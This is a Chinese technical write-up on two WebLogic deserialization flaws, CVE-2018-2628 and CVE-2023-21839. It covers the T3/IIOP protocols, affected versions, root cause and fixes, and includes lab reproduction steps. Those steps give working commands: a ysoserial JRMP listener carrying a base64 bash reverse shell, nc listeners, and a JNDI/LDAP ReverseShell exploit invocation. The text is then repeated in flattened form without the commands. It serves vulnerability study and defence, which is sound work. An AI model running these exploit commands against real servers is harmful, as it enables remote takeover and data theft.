Weblogic反序列化漏洞(CVE-2018-2628CVE-2023-21839)
字数 2260 2025-08-10 10:14:26

Weblogic反序列化漏洞(CVE-2018-2628/CVE-2023-21839) 技术分析文档

1. WebLogic中间件概述

WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。主要特点包括:

  • 基于JAVAEE架构的中间件
  • 提供Java Enterprise Edition (EE)和Jakarta EE的实现
  • 支持大型网络应用的开发、集成、部署和管理

2. CVE-2018-2628漏洞分析

2.1 漏洞描述

Weblogic Server中的RMI通信使用T3协议在Weblogic Server和其它Java程序之间传输数据。服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM),并创建T3协议通信连接。T3协议在开放WebLogic控制台端口的应用上默认开启。

攻击者可以通过T3协议发送恶意的反序列化数据,实现对存在漏洞的weblogic组件的远程代码执行攻击。具体表现为:

  • 开放Weblogic控制台的7001端口默认开启T3协议服务
  • T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞
  • 攻击者可发送构造的恶意T3协议数据获取目标服务器权限

2.2 相关协议说明

  1. T3协议

    • 用于在Weblogic服务器和其他Java程序之间传输信息
    • 通过消除网络间的多个协议来最大化效率
    • 最小化数据包大小,提高传输速度
  2. RMI(远程方法调用)

    • 允许在本地虚拟机上调用远端代码
    • 实现了Java虚拟机的远程方法调用
  3. JRMP(Java远程消息交换协议)

    • 基于TCP/IP之上,RMI协议之下
    • RMI默认使用JRMP传递数据
    • JRMP协议只能作用于RMI协议

2.3 影响版本

  • Oracle Weblogic Server 10.3.6.0.0
  • Oracle Weblogic Server 12.1.3.0.0
  • Oracle Weblogic Server 12.2.1.2.0
  • Oracle Weblogic Server 12.2.1.3.0

2.4 漏洞复现

环境准备:

  • 攻击机:Kali Linux
  • 靶场环境:vulhub/weblogic/CVE-2018-2628

复现步骤:

  1. 目标识别

    nmap -sV 192.168.100.134
    

    确认开放7001端口及Weblogic服务

  2. 验证T3协议开启

    nmap -n -v -p 7001,7002 192.168.100.134 --script=weblogic-t3-info
    
  3. 准备攻击载荷

    • 使用ysoserial启动JRMP Server:
      java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
      
      其中反弹shell命令base64编码前为:
      sh -i >& /dev/tcp/192.168.100.1/9999 0>&1
      
  4. 本地监听

    nc -lvnp 9999
    
  5. 发送攻击载荷

    python2 exp.py 192.168.100.134 7001 ysoserial-all.jar 192.168.100.1 7777 JRMPClient
    
  6. 验证攻击结果

    • 检查监听端是否收到shell
    • 在目标服务器验证命令执行结果

2.5 修复方案

  1. 打上官方最新补丁
  2. 控制T3服务的访问权限(添加白名单)
  3. 禁用不必要的T3协议服务

3. CVE-2023-21839漏洞分析

3.1 漏洞描述

Weblogic允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup操作,当JDK版本过低或本地存在javaSerializedData时,可能导致RCE漏洞。具体表现为:

  • Weblogic IIOP/T3协议存在缺陷
  • 当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server
  • 漏洞利用成功可能导致服务器被接管或敏感数据泄露

3.2 影响版本

  • WebLogic_Server = 12.2.1.3.0
  • WebLogic_Server = 12.2.1.4.0
  • WebLogic_Server = 14.1.1.0.0

3.3 漏洞原理

这是一个Weblogic的JNDI注入漏洞:

  1. Weblogic t3/iiop协议支持远程绑定对象bind到服务端
  2. 可以通过lookup查看绑定的对象
  3. 当远程对象继承自OpaqueReference时,lookup会调用远程对象的getReferent方法
  4. weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现了getReferent方法
  5. getReferent方法中存在retVal = context.lookup(this.remoteJNDIName)实现
  6. 可通过rmi/ldap远程协议进行远程命令执行

3.4 漏洞复现

环境准备:

  • 攻击机:Kali Linux
  • 靶场环境:vulhub/weblogic/CVE-2023-21839

复现步骤:

  1. 目标识别

    nmap -sV 192.168.100.134
    
  2. 验证T3协议开启

    nmap -n -v -p 7001,7002 192.168.100.134 --script=weblogic-t3-info
    
  3. 启动LDAP和HTTP服务

    java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1
    
  4. 本地监听

    nc -lvnp 6666
    
  5. 执行攻击

    java -jar Weblogic-CVE-2023-21839.jar 192.168.100.134:7001 ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/6666
    

    注意:需要JDK8环境

  6. 验证攻击结果

    • 检查监听端是否收到shell
    • 在目标服务器验证命令执行结果

3.5 修复方案

  1. 使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议
  2. 禁用IIOP协议
  3. 升级Weblogic版本,更新最新补丁

4. 总结

这两个Weblogic反序列化漏洞都涉及T3/IIOP协议的安全问题,攻击者可以利用这些漏洞实现远程代码执行,危害严重。管理员应及时采取防护措施,包括:

  1. 及时更新补丁
  2. 限制协议访问
  3. 加强网络边界防护
  4. 定期进行安全评估和漏洞扫描

对于安全研究人员,理解这些漏洞的原理和利用方式有助于更好地防御类似攻击,提高系统安全性。

Weblogic反序列化漏洞(CVE-2018-2628/CVE-2023-21839) 技术分析文档 1. WebLogic中间件概述 WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。主要特点包括: 基于JAVAEE架构的中间件 提供Java Enterprise Edition (EE)和Jakarta EE的实现 支持大型网络应用的开发、集成、部署和管理 2. CVE-2018-2628漏洞分析 2.1 漏洞描述 Weblogic Server中的RMI通信使用T3协议在Weblogic Server和其它Java程序之间传输数据。服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM),并创建T3协议通信连接。T3协议在开放WebLogic控制台端口的应用上默认开启。 攻击者可以通过T3协议发送恶意的反序列化数据,实现对存在漏洞的weblogic组件的远程代码执行攻击。具体表现为: 开放Weblogic控制台的7001端口默认开启T3协议服务 T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞 攻击者可发送构造的恶意T3协议数据获取目标服务器权限 2.2 相关协议说明 T3协议 : 用于在Weblogic服务器和其他Java程序之间传输信息 通过消除网络间的多个协议来最大化效率 最小化数据包大小,提高传输速度 RMI(远程方法调用) : 允许在本地虚拟机上调用远端代码 实现了Java虚拟机的远程方法调用 JRMP(Java远程消息交换协议) : 基于TCP/IP之上,RMI协议之下 RMI默认使用JRMP传递数据 JRMP协议只能作用于RMI协议 2.3 影响版本 Oracle Weblogic Server 10.3.6.0.0 Oracle Weblogic Server 12.1.3.0.0 Oracle Weblogic Server 12.2.1.2.0 Oracle Weblogic Server 12.2.1.3.0 2.4 漏洞复现 环境准备: 攻击机:Kali Linux 靶场环境:vulhub/weblogic/CVE-2018-2628 复现步骤: 目标识别 : 确认开放7001端口及Weblogic服务 验证T3协议开启 : 准备攻击载荷 : 使用ysoserial启动JRMP Server: 其中反弹shell命令base64编码前为: 本地监听 : 发送攻击载荷 : 验证攻击结果 : 检查监听端是否收到shell 在目标服务器验证命令执行结果 2.5 修复方案 打上官方最新补丁 控制T3服务的访问权限(添加白名单) 禁用不必要的T3协议服务 3. CVE-2023-21839漏洞分析 3.1 漏洞描述 Weblogic允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup操作,当JDK版本过低或本地存在javaSerializedData时,可能导致RCE漏洞。具体表现为: Weblogic IIOP/T3协议存在缺陷 当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server 漏洞利用成功可能导致服务器被接管或敏感数据泄露 3.2 影响版本 WebLogic_ Server = 12.2.1.3.0 WebLogic_ Server = 12.2.1.4.0 WebLogic_ Server = 14.1.1.0.0 3.3 漏洞原理 这是一个Weblogic的JNDI注入漏洞: Weblogic t3/iiop协议支持远程绑定对象bind到服务端 可以通过lookup查看绑定的对象 当远程对象继承自OpaqueReference时,lookup会调用远程对象的getReferent方法 weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现了getReferent方法 getReferent方法中存在 retVal = context.lookup(this.remoteJNDIName) 实现 可通过rmi/ldap远程协议进行远程命令执行 3.4 漏洞复现 环境准备: 攻击机:Kali Linux 靶场环境:vulhub/weblogic/CVE-2023-21839 复现步骤: 目标识别 : 验证T3协议开启 : 启动LDAP和HTTP服务 : 本地监听 : 执行攻击 : 注意:需要JDK8环境 验证攻击结果 : 检查监听端是否收到shell 在目标服务器验证命令执行结果 3.5 修复方案 使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议 禁用IIOP协议 升级Weblogic版本,更新最新补丁 4. 总结 这两个Weblogic反序列化漏洞都涉及T3/IIOP协议的安全问题,攻击者可以利用这些漏洞实现远程代码执行,危害严重。管理员应及时采取防护措施,包括: 及时更新补丁 限制协议访问 加强网络边界防护 定期进行安全评估和漏洞扫描 对于安全研究人员,理解这些漏洞的原理和利用方式有助于更好地防御类似攻击,提高系统安全性。